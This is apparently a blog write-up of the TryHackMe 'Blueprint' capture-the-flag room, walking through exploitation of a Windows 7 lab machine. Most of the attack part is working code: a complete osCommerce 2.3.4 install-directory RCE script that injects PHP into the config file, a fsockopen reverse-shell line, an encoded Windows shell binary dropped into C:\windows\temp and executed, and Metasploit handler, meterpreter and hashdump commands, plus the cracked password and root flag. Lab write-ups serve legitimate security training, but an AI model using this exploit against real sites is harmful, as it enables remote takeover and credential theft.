[Hacking walkthrough] THM: blueprint

[Hacking walkthrough] THM: blueprint

Link to the room: https://tryhackme.com/room/blueprint

Howdy there, welcome to another THM CTF write-up. Today we are going to hack into the window machine with an exploit. This room is created by good old mrseth, a regular contributor on the THM server. However, no more hint on the title like the usual way and we have to find the exploit by ourselves. This room is designed for beginners and should be easy for a script kiddle. Without further ado, let’s get into the challenge.

Task 1: Capture the flag

There is only one single task, capture the root flag like other CTF machines.

Task 1-1: Obtain the windows hash password (NTML)

1) Enumerate

First off, launch the Nmap network scanner with the following command. Also, we have to let the scanner guess the windows version with -A flag.

$ nmap -A -v <Machine IP>

This machine runs in Windows 7 7601 SP1 and there are numerous ports opened in the machine but we only interested in Port 80, 8080 (HTTP), Port 443 (HTTPS), Port 139, 445 (SMB), Port 135 (win RPC) and Port 3306 (Maria DB). I tried to access those ports and come with the following result.

PortInvestigation Result
80Return a 404-page error
8080A legit oscommerce 2.3.4 webpage
443 A legit oscommerce 2.3.4 webpage with SSL
139,445Require a credential and exploit failed with eternal blue
135exploit failed with msf_rpc_console
3306Can’t remote access. Refer to this link.

Look like Port 8080 and 443 show something promising. With the version of the CMS, I come across with the RCE exploitation. The script only works if and only if the install directory is present on the webserver.

2) Exploit

By looking at the script, it is intended for the Linux machine. Moreover, the system() function is blocked due to a security issue. Referring to the PHP reverse shell cheat sheet by pentestmonkey, I changed the payload line into

'$sock=fsockopen("10.0.0.1",1234);exec("cmd.exe <&3 >&3 2>&3");'

Run the script with python yield the following result.

Fire up the netcat with port 1234 and visit the given URL on the second line.

Hold your horse there, the connection is closed immediately after visiting the URL. Something must be wrong on executing the cmd.exe. After reading the subreddit, I guess people facing the same issue as I did. There are some explanations on the cause.

After a quick search and google, I found a simple window reverse PHP shell. Copied the entire shell, do a small tweak on the quote and you got the following code.

# Exploit Title: osCommerce 2.3.4.1 Remote Code Execution
# Date: 29.0.3.2018
# Exploit Author: Simon Scannell - https://scannell-infosec.net <[email protected]>
# Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
# Tested on: Linux, Windows

# If an Admin has not removed the /install/ directory as advised from an osCommerce installation, it is possible
# for an unauthenticated attacker to reinstall the page. The installation of osCommerce does not check if the page
# is already installed and does not attempt to do any authentication. It is possible for an attacker to directly
# execute the "install_4.php" script, which will create the config file for the installation. It is possible to inject
# PHP code into the config file and then simply executing the code by opening it.


import requests

# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base_url = "https://<target IP>:8080//oscommerce-2.3.4/catalog/"
target_url = "https://<target IP>:8080/oscommerce-2.3.4/catalog/install/install.php?step=4" # use the machine IP

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*

payload = '\');'
payload += 'header("Content-type: text/plain");'    
payload += '$ip = "<attacker IP>";' # use tun0 IP address
payload += '$port = "1234";'
payload += '$payload = "7Vh5VFPntj9JDklIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMmAyQlDtRIaQGKMjXUoxZGWentbq1gpCChGgggVFWcoIFhpL7wwVb2ABT33oN6uDm+tt9b966233l7Z39779/32zvedZJ3z7RO1yQjgAAAAUUUQALgAvBEO8D+LBlWqcx0VqLK+4XIBw7vhEr9VooKylIoMpVAGpQnlcgUMpYohpVoOSeRQSHQcJFOIxB42NiT22xoxoQDAw+CAH1KaY/9dtw+g4cgYrAMAoQEd1ZPopwG1lai2v13dDI59s27M2/W/TX4zhwru9Qi9jem/4fTfbwKt54cB/mPZagIA5n+QlxCT5PnaOfm7BWH/cn37UJ7Xv7fxev+z/srjvOF5/7a59rccu7/wTD4enitmvtzFxhprXWZ0rHvn3Z0jVw8CQCEVZbgBwCIACBhqQ5A47ZBfeQSHAxSZYNa1EDYRIIDY6p7xKZBNRdrZFDKdsWhgWF7TTaW3gQTrZJAUYHCfCBjvctfh6OWAJ2clIOCA+My6kdq5XGeKqxuRW9f10cvkcqZAGaR32rvd+nNwlW5jf6ZCH0zX+c8X2V52wbV4xoBS/a2R+nP2XDqFfFHbPzabyoKHbB406JcRj/qVH/afPHd5GLfBPH+njrX2ngFeBChqqmU0N72r53JM4H57U07gevzjnkADXhlVj5kNEHeokIzlhdpJDK3wuc0tWtFJwiNpzWUvk7bJbXOjmyE7+CAcGXj4Vq/iFd4x8IC613I+0IoWFOh0qxjnLUgAYYnLcL3N+W/tCi8ggKXCq2vwNK6+8ilmiaHKSPZXdKrq1+0tVHkyV/tH1O2/FHtxVgHmccSpoZa5ZCO9O3V3P6aoKyn/n69K535eDrNc9UQfmDw6aqiuNFx0xctZ+zBD7SOT9oXWA5kvfUqcLxkjF2Ejy49W7jc/skP6dOM0oxFIfzI6qbehMItaYb8E3U/NzAtnH7cCnO7YlAUmKuOWukuwvn8B0cHa1a9nZJS8oNVsvJBkGTRyt5jjDJM5OVU87zRk+zQjcUPcewVDSbhr9dcG+q+rDd+1fVYJ1NEnHYcKkQnd7WdfGYoga/C6RF7vlEEEvdTgT6uwxAQM5c4xxk07Ap3yrfUBLREvDzdPdI0k39eF1nzQD+SR6BSxed1mCWHCRWByfej33WjX3vQFj66FVibo8bb1TkNmf0NoE/tguksTNnlYPLsfsANbaDUBNTmndixgsCKb9QmV4f2667Z1n8QbEprwIIfIpoh/HnqXyfJy/+SnobFax1wSy8tXWV30MTG1UlLVKPbBBUz29QEB33o2tiVytuBmpZzsp+JEW7yre76w1XOIxA4WcURWIQwOuRd0D1D3s1zYxr6yqp8beopn30tPIdEut1sTj+5gdlNSGHFs/cKD6fTGo1WV5MeBOdV5/xCHpy+WFvLO5ZX5saMyZrnN9mUzKht+IsbT54QYF7mX1j7rfnnJZkjm72BJuUb3LCKyMJiRh23fktIpRF2RHWmszSWNyGSlQ1HKwc9jW6ZX3xa693c8b1UvcpAvV84NanvJPmb9ws+1HrrKAphe9MaUCDyGUPxx+osUevG0W3D6vhun9AX2DJD+nXlua7tLnFX197wDTIqn/wcX/4nEG8RjGzen8LcYhNP3kYXtkBa28TMS2ga0FO+WoY7uMdRA9/r7drdA2udNc7d6U7C39NtH7QvGR1ecwsH0Cxi7JlYjhf3A3J76iz5+4dm9fUxwqLOKdtF1jW0Nj7ehsiLQ7f6P/CE+NgkmXbOieExi4Vkjm6Q7KEF+dpyRNQ12mktNSI9zwYjVlVfYovFdj2P14DHhZf0I7TB22IxZ+Uw95Lt+xWmPzW7zThCb2prMRywnBz4a5o+bplyAo0eTdI3vOtY0TY1DQMwx0jGv9r+T53zhnjqii4yjffa3TyjbRJaGHup48xmC1obViCFrVu/uWY2daHTSAFQQwLww7g8mYukFP063rq4AofErizmanyC1R8+UzLldkxmIz3bKsynaVbJz6E7ufD8OTCoI2fzMXOa67BZFA1iajQDmTnt50cverieja4yEOWV3R32THM9+1EDfyNElsyN5gVfa8xzm0CsKE/Wjg3hPR/A0WDUQ1CP2oiVzebW7RuG6FPYZzzUw+7wFMdg/0O1kx+tu6aTspFkMu0u3Py1OrdvsRwXVS3qIAQ/nE919fPTv6TusHqoD9P56vxfJ5uyaD8hLl1HbDxocoXjsRxCfouJkibeYUlQMOn+TP62rI6P6kHIewXmbxtl59BxMbt6Hn7c7NL7r0LfiF/FfkTFP1z7UF9gOjYqOP694ReKlG8uhCILZ4cLk2Louy9ylYDaB5GSpk03l7upb584gR0DH2adCBgMvutH29dq9626VPPCPGpciG6fpLvUOP4Cb6UC9VA9yA9fU1i+m5Vdd6SaOFYVjblJqhq/1FkzZ0bTaS9VxV1UmstZ8s3b8V7qhmOa+3Klw39p5h/cP/woRx4hVQfHLQV7ijTbFfRqy0T0jSeWhjwNrQeRDY9fqtJiPcbZ5xED4xAdnMnHep5cq7+h79RkGq7v6q+5Hztve262b260+c9h61a6Jpb+ElkPVa9Mnax7k4Qu+Hzk/tU+ALP6+Frut4L8wvwqXOIaVMZmDCsrKJwU91e/13gGfet8EPgZ8eoaeLvXH+JpXLR8vuALdasb5sXZVPKZ7Qv+8X0qYKPCNLid6Xn7s92DbPufW/GMMQ4ylT3YhU2RP3jZoIWsTJJQvLzOb4KmixmIXZAohtsI0xO4Ybd9QtpMFc0r9i+SkE/biRFTNo+XMzeaXFmx0MEZvV+T2DvOL4iVjg0hnqSF5DVuA58eyHQvO+yIH82Op3dkiTwGDvTOClHbC54L6/aVn9bhshq5Zntv6gbVv5YFxmGjU+bLlJv9Ht/Wbidvvhwa4DwswuF155mXl7pcsF8z2VUyv8Qa7QKpuTN//d9xDa73tLPNsyuCD449KMy4uvAOH80+H+nds0OGSlF+0yc4pyit0X80iynZmCc7YbKELGsKlRFreHr5RYkdi1u0hBDWHIM7eLlj7O/A8PXZlh5phiVzhtpMYTVzZ+f0sfdCTpO/riIG/POPpI3qonVcE636lNy2w/EBnz7Os+ry23dIVLWyxzf8pRDkrdsvZ7HMeDl9LthIXqftePPJpi25lABtDHg1VWK5Gu7vOW9fBDzRFw2WWAMuBo6Xbxym8Fsf9l0SV3AZC7kGCxsjFz95ZcgEdRSerKtHRePpiaQVquF8KOOiI58XEz3BCfD1nOFnSrTOcAFFE8sysXxJ05HiqTNSd5W57YvBJU+vSqKStAMKxP+gLmOaOafL3FLpwKjGAuGgDsmYPSSpJzUjbttTLx0MkvfwCQaQAf102P1acIVHBYmWwVKhSiVWpPit8M6GfEQRRbRVLpZA/lKaQy8VpsFhEIgHB0VFxMaHB6CxiYnKAKIk8I2fmNAtLZGIoXSiRqpVifxIAQRskNQ6bXylhtVD6njqPGYhXKL/rqrkOLUzNW6eChDBWJFo63lv7zXbbrPU+CfJMuSJHDmUVjshrxtUixYYPFGmLJAqGUgHXX5J1kRV7s9er6GEeJJ/5NdluqRLhkvfFhs+whf0Qzspoa7d/4ysE834sgNlJxMylgGAJxi3f8fkWWd9lBKEAXCpRiw2mgjLVBCeV6mvFowZg7+E17kdu5iyJaDKlSevypzyxoSRrrpkKhpHpC6T0xs6p6hr7rHmQrSbDdlnSXcpBN8IR2/AkTtmX7BqWzDgMlV6LC04oOjVYNw5GkAUg1c85oOWTkeHOYuDrYixI0eIWiyhhGxtT6sznm4PJmTa7bQqkvbn8lt044Oxj890l3VtssRWUIGuBliVcQf8yrb1NgGMu2Ts7m1+pyXliaZ9LxRQtm2YQBCFaq43F+t24sKJPh3dN9lDjGTDp6rVms5OEGkPDxnZSs0vwmZaTrWvuOdW/HJZuiNaCxbjdTU9IvkHkjVRv4xE7znX3qLvvTq+n0pMLIEffpLXVV/wE5yHZO9wEuojBm3BeUBicsdBXS/HLFdxyv5694BRrrVVM8LYbH7rvDb7D3V1tE3Z31dG9S9YGhPlf71g+/h6peY/K573Q0EjfHutRkrnZdrPR/Nx4c/6NgpjgXPn+1AM3lPabaJuLtO717TkhbaVJpCLp8vFPQyE+OdkdwGws2WN78WNC/ADMUS/EtRyKKUmvPSrFTW8nKVllpyRlvrxNcGGpDHW/utgxRlWpM47cXIbzWK0KjyeI7vpG3cXBHx48fioKdSsvNt180JeNugNPp/G9dHiw7Mp6FuEdP1wYWuhUTFJ6libBKCsrMZbB142LSypxWdAyEdoHZLmsqrQC3GieGkZHQBZOFhLxmeacNRRfn8UEEw6BSDv3/svZRg7AwtklaCK5QBKOUrB3DzG/k8Ut9RRigqUKlRh83jsdIZSLpGKlWAiLY5SKNOT6cPV+Li1EbA+LJbAkTSiNE6dV9/A4cQ6hcjulfbVVZmIu3Z8SvqJHrqhZmC2hymXipRuE7sLUjurA6kgukydUsZRzlDbPb3z4MkohUksLnEO4yPiQlX1EHLwaVmetlacrDvUkqyB8Trbk/U/GZeIu3qVseyKcIN/K//lV9XLR58ezHMIkUjMLq1wxES9VCU9I1a9ivB/eOJMPB9CqZDWODTaJwqSwqjjyyDdWw2ujU7fND/+iq/qlby6fnxEumy//OkMb1dGgomZhxRib9B07XlTLBsVuKr4wiwHnZdFqb8z+Yb8f4VCq1ZK2R6c9qAs9/eAfRmYn00uZBIXESp6YMtAnXQhg0uen5zzvTe7PIcjEsrSsvNUElSRD3unww3WhNDs9CypOP1sp7Rr/W1NiHDeOk7mQa1cfVG5zpy246x2pU531eShXlba8dkLYsCNVIhd5qwJmJTukgw4dGVsV2Z2b6lPztu86tVUuxePD25Uq6SZi/srizBWcgzGhPAwR7Z/5GkFLc2z7TOdM9if/6ADM0mFNQ9IQPpl+2JO8ec78bsd7GDAgT36LepLCyVqCAyCC8s4KkM6lZ3Xi13kctDIuZ+JalYDn9jaPD2UllObdJQzj4yLyVC+4QOAk8BANRN5eIRWen8JWOAwNyVyYJg+l2yTdEN3a6crkeIi3FnRAPUXKspM4Vcwc15YJHi5VrTULwkp3OmpyJMFZo5iKwRP4ecGx8X40QcYB5gm2KyxVHaI8DYCMi7Yyxi7NBQoYbzpVNoC87VkFDfaVHMDQYOEjSKL2BmKhG1/LHnxYCSEc06Um6OdpR6YZXcrhCzNt/O8QhgnTpRpVW78NVf1erdoBnNLmSh8RzdaOITCsu/p7fusfAjXE/dPkH4ppr2ALXgLPEER7G2OwW6Z9OZ1N24MNQhe1Vj0xmIY+MYx6rLYR1BG010DtIJjzC+bWIA+FU3QTtTvRle4hhLsPBGByJjRrAPVTPWEPH0y/MkC8YqIXNy2e1FgGMGMzuVYlHT92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DYwLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6QZ9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA=";'
payload += '$evalCode = gzinflate(base64_decode($payload));'
payload += '$evalArguments = " ".$port." ".$ip;'
payload += '$tmpdir ="C:\\windows\\temp";'
payload += 'chdir($tmpdir);'
payload += '$res .= "Using dir : ".$tmpdir;'
payload += '$filename = "D3fa1t_shell.exe";'
payload += '$file = fopen($filename, "wb");'
payload += 'fwrite($file, $evalCode);'
payload += 'fclose($file);'
payload += '$path = $filename;'
payload += '$cmd = $path.$evalArguments;'
payload += '$res .= "\n\nExecuting : ".$cmd."\n";'
payload += 'echo $res;'
payload += '$output = exec($cmd);'
payload += '/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)

if r.status_code == 200:
    print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
    print("[-] Exploit did not execute as planned")
            

If you follow up on my script, make sure you change the <target IP> as the machine IP and <attacker IP> as your tunnel IP. After that, run the script. Instead of using Netcat, I’m going to use Metasploit to listen for the reverse shell. I will explain the reason later on.

3) Metasploit

msf5> use exploit/multi/handler
msf5> set payload windows/shell/reverse_tcp
msf5> set lhost tun0
msf5> set lport 1234
msf5> run

Next, re-visit the URL and get the shell.

And now, we are going to upgrade the shell to meterpreter. For your information, I had chat with the creator of the room, mrseth. He mentioned that the Windows is installed with Windows defender which means msfvenom payload won’t work for this scenario.

By referring to this article, use CRTL-Z to run the sessions in the background. After that, input the following command on the Metasploit to trigger the meterpreter.

msf5> sessions -u 1

After the conversion, simply visit session 2 with the following command

msf5> sessions -i 2

4) NTML

meterpreter is important as we are going to get the NTML or window hashed password by using hashdump command.

meterpreter> run hashdump

The NTML hash password for user Lab is

30e87bf999828446a1c1209ddde4c450

After that, use the online NTML cracker to crack the hash.

Answer: googleplus

Task 1-2: Capture the flag

First and foremost, spawn a shell and check the privilege.

meterpreter> shell
C:\xampp\htdocs\oscommerce-2.3.4\catalog\install\includes> whoami

We already have the admin privilege and that makes things easy. So, locate the administrator folder and capture the root flag.

Answer: THM{aea1e3ce6fe7f89e10cea833ae009bee}

Conclusion

That’s all for the short write-up in the blueprint room. Actually there is another way to solve the challenge. I hope you enjoy the write-up. Until next time 😉

Share the knowledge

Leave a Reply